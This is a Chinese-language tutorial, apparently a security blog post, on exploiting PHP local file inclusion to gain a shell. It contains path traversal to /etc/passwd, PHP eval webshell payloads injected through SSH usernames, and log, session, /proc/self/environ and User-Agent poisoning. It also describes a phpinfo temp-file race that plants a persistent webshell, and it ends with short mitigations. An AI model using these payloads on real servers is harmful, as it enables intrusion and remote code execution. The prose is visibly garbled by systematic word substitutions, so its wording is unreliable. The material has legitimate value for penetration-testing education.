共计 4257 个字符,预计需要花费 11 分钟才能阅读完成。
1.1. 本地复现
过后发现 url 中有一个参数 file=/home/task.php,眉头一皱; 计上心来,把 /home/task.php 替换成了../../../../../../etc/passwd
接着发送带有 php 代码的申请,先 phpinfo 试一试。
接着就是蕴含日志了,感觉马上就要腾飞了,后果很忽然,no such file 了,又换了几个门路,还是这样。
没方法只是试试蕴含一下配置文件,后果…. 一样。
这可咋办,眼瞅着就要 getshell 了,没门路啊,忽然想到还有一个 ssh log 能够尝试蕴含一下,立即来了精力头,噼里啪啦一顿敲,食指放在回车键上,当机立断,豁出去了!只见我眼睛一闭,重重按下回车,当我缓缓睁开眼时,悲痛欲绝,终于没有 no such file 了
接下来就很简略了间接 ssh 连贯:
ssh‘<?=eval($_REQUEST[1])?>’@remotehost
蕴含 ssh log 文件,而后执行下命令:id。胜利!
2. 文件蕴含小常识
2.1. 蕴含函数
1、PHP 共有 4 个与文件蕴含相干的函数:
include
require
include_once
require_once
2、Include 与 include_once 的区别:
(1)Include:会将指定的文件载入并执行外面的程序;反复援用的状况下加载屡次。
例如:
这里 include 两次 1.php 文件,所以就会蕴含 1.php 两次。
(2)Include_once:会将指定的文件载入并执行外面的程序;此行为和 include 语句相似,惟一区别是如果该文件中曾经被蕴含过,则不会再次蕴含。
例如:
这里 include_once 了两次 1.php 文件,但只会蕴含 1.php 一次。
(3)require 和 requireonce 的用处与下面两个一样,但区别就是 require 和 requireonce 会加载页面最开始执行。Include 和 include_once 会按代码程序执行。
2.2. 反对的协定和封装协定
File:// ——拜访本地文件系统
http(s):// ——拜访 HTTP(s)网址
ftp:// ——拜访 FTP(s) URLs
php:// ——拜访各个输出 / 输入流(I/O streams)
zlib:// ——压缩流
data:// ——数据(RFC 2397)
glob:// ——查找匹配的文件门路模式
phar:// ——PHP 归档
ssh2:// ——Secure Shell 2
rar:// ——RAR
ogg:// ——音频流
expect:// ——解决交互式的流
2.3. 罕用伪协定解说:
- file://
(1)这个协定能够展示本地文件系统,默认目录是以后的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
- php://
(1) php://input 是个能够拜访申请的原始数据的只读流,能够拜访申请的原始数据的只读流,将 post 申请中的数据作为 php 代码执行。
(2) php://filter 是一种元封装器,设计用于数据流关上时的筛选过滤利用。
3、phar://
(1)phar:// 数据流包装器自 PHP5.3.0 起开始无效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt
2.4. 伪协定利用形式小总结:
3.getshell 总结
3.1.Getshell 之 session
条件:session 文件门路已知,且 session 文件中内容局部可控。
获取 session 文件门路:
1、session 文件的保留门路能够在 phpinfo 的 session.save_path 看到。
2、默认门路:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session 的文件名格局为 sess_[phpsessid]。而 phpsessid 在发送的申请的 cookie 字段中能够看到。
利用:
1. 要蕴含并利用的话,须要能管制局部 sesssion 文件的内容。能够先蕴含进 session 文件,察看外面的内容,而后依据外面的字段来发现可控的变量,从而利用变量来写入 payload,并之后再次蕴含从而执行 php 代码。
2. 例如当初有一个 session.php 可控用户会话信息值:
3. 能够看到这个 session.php 文件中的用户会话信息 username 的值是用户可管制的,那咱们就能够传入恶意代码进行攻打利用。
4. 将恶意代码传入当前,接下来就要利用文件蕴含破绽去蕴含这个恶意代码。
5. 从返回后果来看,咱们的 payload 和恶意代码曾经失常解析和执行。
3.2.Getshell 之日志
3.2.1. 拜访日志
条件:须要晓得服务器日志的存储门路,且日志文件可读。
日志存储默认门路:
1.apache+Linux 日志默认门路:/etc/httpd/logs/accesslog 或 /var/log/httpd/accesslog
2.apache+win2003 日志默认门路:D:xamppapachelogsaccess.log、D:xamppapachelogserror.log
3.IIS6.0+win2003 默认日志文件:C:WINDOWSsystem32Logfiles
4.IIS7.0+win2003 默认日志文件:%SystemDrive%inetpublogsLogFiles
5.nginx 日志文件:日志文件在用户装置目录 logs 目录下, 假如装置门路为 /usr/local/nginx, 那日志目录就是在 /usr/local/nginx/logs 上面
利用:
1. 少数状况,web 服务器会将申请写入到日志文件中,比如说 apache。在用户发动申请时,会将申请写入 access.log,当产生谬误时将谬误写入 error.log。默认状况下,日志保留门路在 /etc/httpd/logs/ 下。
2. 但如果是间接发动申请,会导致一些符号被编码使得蕴含无奈正确解析。能够应用 burp 截包后批改。
3. 失常的 php 代码曾经写入了 /etc/httpd/logs/access.log。而后蕴含即可执行代码。
4. 但有的时候,log 的寄存地址会被更改。这个时候能够通过读取相应的配置文件后,再进行蕴含。
中间件默认配置文件寄存门路:
1.apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf 或 /etc/init.d/httpd
- IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
- IIS7.0+WIN 配置文件
C:WindowsSystem32inetsrvconfigapplicationHost.config
3.2.2.SSH log
条件:须要晓得 ssh-log 的地位,且可读。
ssh 日志默认门路:
1./var/log/auth.log
2./var/log/secure
利用:
1. 用 ssh 连贯:
ssh‘<?php phpinfo(); ?>’@remotehost
之后会提醒输出明码,轻易输出就能够。
2. 而后利用文件蕴含,蕴含日志文件:
3.3.Getshell 之 environ
条件:
php 以 cgi 形式运行,这样 environ 才会放弃 UA 头。
environ 文件存储地位已知,且有权限拜访 environ 文件。
environ 文件默认地位:
proc/self/environ
利用:
1.proc/self/environ 中会保留 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再蕴含它,即可。
2. 例如咱们当初拜访一个网站,应用 burpsuite 抓包,将恶意代码插入到 user-agent 中。
3. 利用文件蕴含破绽去蕴含 proc/self/environ,胜利执行 php 代码。
3.4.Getshell 之利用 phpinfo
条件:存在 phpinfo 页面并且存在文件蕴含破绽
原理:
当咱们给 PHP 发送 POST 数据包时,如果数据包里蕴含文件区块,PHP 就会将文件保留成一个临时文件,门路通常为:/tmp/php[6 个随机字符], 这个临时文件,在申请完结后就会被删除。
因为 phpinfo 页面会将申请上下文中的所有变量打进去,所以咱们如果向 phpinfo 页面发送蕴含文件区块的数据包,就能够在返回包里找到长期文件名,也就是 $_FILES 变量中的内容。
利用:
首先咱们应用 vulhub 的脚本(https://github.com/vulhub/vul…),他能够实现蕴含临时文件,而这个临时文件的内容是:<?php fileputcontents(‘/tmp/p’,'<?=eval($_REQUEST[1])?>’)?>。胜利蕴含这个文件后就会生成新的文件 /tmp/p,这个文件就会永恒的留在指标机器上。
写入胜利当前,咱们利用文件蕴含来执行任意命令。
原理:
那么为啥 vulhub 的脚本是如何做到在长期脚本文件删除前去蕴含的呢,其实就是用到了条件竞争,具体流程大抵如下:
首先发送蕴含 webshell 的数据包给 phpinfo 页面,并用大量的垃圾数据将 header 和 get 等地位填满。
因 phpinfo 页面会将所有数据打印进去,第一个步骤中的垃圾数据就会将 phpinfo 页面撑的十分大。而 php 默认输入缓冲区大小为 4096,也能够了解为 php 每次返回 4096 个字节给 socket 连贯。
所以,这里间接操作原生 socket,每次读取 4096 个字节。只有咱们读取到字节里蕴含长期文件名,就立即发送文件蕴含破绽利用的数据包。因为第一个数据包的 socket 连贯没有完结,所以临时文件还没有删除,咱们就能够文件蕴含胜利。
3.5.Getshell 之上传文件
条件:有上传点,晓得上传上去的文件名和寄存目录。
利用:
这里用一个靶场简略演示一下,找个文件上传点,上传一个带有 php 恶意代码的图片。
咱们当初已知文件名称和门路,能够利用文件蕴含破绽去蕴含这个图片,就能够胜利执行 php 代码了。
4. 应答措施
1、在很多场景中都须要去蕴含 web 目录之外的文件,如果 php 配置了 open_basedir,则会蕴含失败。
2、对能够蕴含的文件进行限度,能够采纳白名单的形式,或设置能够蕴含的目录。
3、对危险字符进行过滤。
4、尽量不应用动静蕴含等等